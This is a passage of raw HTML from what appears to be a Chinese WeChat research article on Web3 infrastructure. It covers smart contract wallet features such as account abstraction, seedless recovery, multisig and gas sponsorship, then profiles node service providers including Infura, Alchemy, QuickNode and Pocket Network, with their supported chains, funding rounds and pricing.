Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">而从智能合约账户角度去看待钱包的发展形态，最明显的变化趋势就是以太坊账户的合并，从 EOA（外部账户地址）和智能合约账户两种合并成为一种「账户抽象」，需要注意的是，此处的账户抽象可理解为智能合约账户，但同时具备 EOA 的功能。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>智能合约钱包主要特性如下:</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>Seedless</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">合约钱包账户不存在私钥，不需要备份私钥分片，通过链上代码绑定特定用户信息 (如 设备信息、电子邮件账号等个人信息)，实现账户所有权，避免用户丢失助记词而导致丢失加密资产，真正实现了无私钥存储；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>多签方案</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">CA 账户支持进一步编程，能够更方便的实现多签机制。如 M-safe，通过创建基于不同地址创建多签钱包，实现组织资产共同管理，达到转账控制、交易审核、交易记录等资产管理服务需求；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>Gasless</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">CA 账户可指定 gas 代付，避免用户因为缺少手续费影响转账进行，优化用户使用体验，但在极端行情，网络拥堵时可能会导致手续费支出急剧增长，尤其是智能钱包的逻辑较 EOA 钱包复杂。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">因此创建钱包和每一笔操作的 gas 都会更贵，需要考虑产品功能长期良性发展模 式，Argent 钱包在极端行情时支付了五十多个 ETH 手续费。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">考虑到这个问题，Unipass 采用 方案如下:通过项目方代付 gas 解决新用户转账问题，后续计划发展手续费抵扣功能，吸引用户、提升用户体验的同时保证功能持续运作，节约运营成本。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在其最终完成后，智能合约账户会促进钱包的无私钥进程，以及支持无 Gas 交互等更为复杂的 DeFi 产品形态。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但在目前的局面下，真正实现 AA 级账户的钱包并未推出实际产品形态，最为接近的是 G-Safe 和 M-Safe，前者是基于 EVM 层的智能合约钱包，后者是 Move 语言原生智能合约钱包，从技术原理上而言比 G-Safe 更为接近底层，但其目前正在推广阶段，并且和 EVM 兼容性也值得怀疑。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">总之，MPC 可以让无私钥变得更为安全，AA 可以实现真正复杂的智能交互。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><strong><span style="color: rgb(0, 0, 0);font-size: 18px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">节点与数据</span></strong></section></section></section></section></section><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>一、数据市场参与者</strong></span></h3><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6222990492653414" data-s="300,640" style="" data-type="png" data-w="1157" src="https://wechat2rss.xlab.app/img-proxy/?k=d24f1ee4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcPbHic7He600js2yIGIg9ibG5mc8MN1PW3z4fsjlqStF7zWHbdB8libLRVoo9vcyFOcJFWRzRO8GwBw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;"></span></h3><h3 style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">针对数据使用者本文不做赘述，重点关注数据提供者。</span></h3><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">原始数据产出方主要包括 区块链节点、中心化交易所；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">数据基础设施服务商主要包括 节点服务商、查询索引服务商；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">数据分析服务商主要包括 数据分析工具开发商（侧重产品数据）、数据分析平台开发商（侧重交易）、投资组合追踪和管理器开发商（侧重C端用户）。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">由于节点服务商的存在，开发者不需要搭建自己的节点，就可以直接和链上进行交互。降低了开发时间和开发成本。</span></section><h4 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>1</strong><strong>.</strong><strong>节点服务商</strong></span></h4><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Infura - 母公司 ConsenSys</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">MetaMask 的默认远程过程调用 (RPC) 服务提供商 Infura，高峰每日处理高达 130 亿次请求。可让应用 / 开发者省去了建立以太坊节点的过程 , API 成为管道，需要使用数据的话，对 API 进行付费。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>其他服务：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">IPFS API</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum、Polygon、Arbitrum、Optimism、Avalanche C-Chain</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2022 年 3 月，Infura 和 MetaMask 的母公司以太坊基础设施开发公司 ConsenSys 完成 4.5 亿美元 D 轮融资，估值达到 70 亿美元，ParaFi Capital 领投，新投资包括淡马锡、软银愿景基金二期、微软、Anthos Capital、Sound Ventures 和 C Ventures，Third Point、Marshall Wace、TRUE Capital Management 和 UTA VC 等原有投资参投。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>价格：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">每天有 100,000 个请求，最多有 3 个不同的应用程序。免费的 5GB IPFS 存储空间。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em style="font-size: 16px;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Alchemy - Web3 Builder</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Alchemy 把区块链的底层架构进行梳理，可以提供典型的 JSON-RPC API，还可以提供增强型的 API，将日常请求简单化，简化开发人员的成本等。Alchemy 对许多知名项目也进行了支持，比如 CryptoKitties, Formatic, Bancor, Celer。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>其他服务：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Web3 大学——一个用于学习 Web3 的开放式教育资源、Alchemy Ventures 和面向网站开发人员的 NFTAPI。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2 月 8 日消息，Web3 开发平台 Alchemy 宣布以 102 亿美元的估值完成新一轮 2 亿美元融资，Lightspeed、SilverLake 领投，此前的多家投资机构参投。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Ethereum、Polygon、Arbitrum、Optimism</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>价格：</strong></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5925925925925926" data-s="300,640" style="" data-type="png" data-w="1215" src="https://wechat2rss.xlab.app/img-proxy/?k=dc6f90a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0hdyY7wiasZym9l6AJqPMP8icJBChv3rvdQPLhgicqaP86TwR8lgVTCKXQ%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-align: justify;"> </span></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><strong>Quicknode  - 多链达人</strong></span></em></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Dune 是 Quicknode 的主要客户，之前是使用自建的 Parity 节点。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">经常需要担心节点的内存泄露（memory leak）、磁盘空间不够等，而且成本较高，使用 Quicknode 后后大大降低了成本，每月成本 1000 美元降到每月 35 美元。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">此外 Quicknode 还提供类似 CDN 的服务，这可能是另外一个可以促进 dapp 应用体验的方向。还可以帮助访问 mempool 的数据。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">还可以提供私有节点。Quicknode 有一些业内知名的用户，比如 Nansen, PayPal, DappRadar, Chainlink。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Solana、Polygon、Algorand、Ethereum、BSC、Arbitrum、Avalanche、Arbitrum Nova、Bitcoin、Celo、Fantom、Harmony、Optimism、Gnosis、Stacks</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>融资：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">2021 年 10 月 27 日，区块链开发平台 QuickNode 宣布完成 3500 万美元 A 轮融资，Tiger Global 领投，Alexis Ohanian 子公司 Seven Seven Six、Soma Capital、Arrington XRP Capital、Crossbeam 和 Anthony Pompliano 等机构参投。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">据此前消息，QuickNode 获得 530 万美元种子轮投资，Reddit 联合创始人领投，SoftBank Opportunity Fund、Arrington XRP Capital 和 Crossbeam.v 参投。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>价格：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">免费的帐号可以创建一个 API。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><em><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>Pocket Network - 唯一发币的服务商</strong></span></em></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Pocket Network 节点充当中间层，将协议支持的 50 多个区块链与其需要链中数据的 dApp 生态系统连接起来。该网络运行在权益证明 (PoS) 共识机制上，为 dApp 提供可扩展性和数据一致性。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>Token：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">市值 1.15 亿，总市值 1.29 亿。（2022 年 9 月 14 日 21:15:59）Pocket Network 要求开发人员和节点都投入其原生实用代币 POKT 以参与网络。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">节点根据每个请求为开发人员完成 API 请求而获得奖励。POKT 是永久通货膨胀的，但总供应量将通过控制货币政策的 DAO 实施的燃烧机制来限制。POKT 的最终总供应量将由 DAO 决定。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">开发人员需要为其应用程序提供可靠的基础设施和中继数量，他们会在质押的生命周期内一次性质押 POKT，以保证每个会话的中继数量。需要质押的 POKT 数量与所需的中继数量成正比。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>支持的链：</strong></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Algorand、Avalanche、Binance、Smart、Chain、Binance、Smart、Chain、Archival、Boba、DFKchain、Subnet、Dogechain、Ethereum、Ethereum、Archival、Ethereum、Archival、Trace、Ethereum、Goerli、Ethereum、Kovan、Ethereum、Rinkeby、Ethereum、Ropsten、Evmos、Fantom、FUSE、FUSE、Archival、Gnosis、Chain、Gnosis、Chain、Archival、Harmony、Shard、IoTeX、Klaytn、Mainnet、Meter、Metis、Moonbeam、Moonriver、NEAR、OKExChain、Optimism、Osmosis、Mainnet、Pocket、Network、Polygon、Polygon、Archival、Polygon、Mumbai、Solana、Swimmer、Network、Mainnet</span></section><h4 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>2</strong><strong>.</strong><strong> </strong><strong>查询索引服务商</strong></span></h4><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 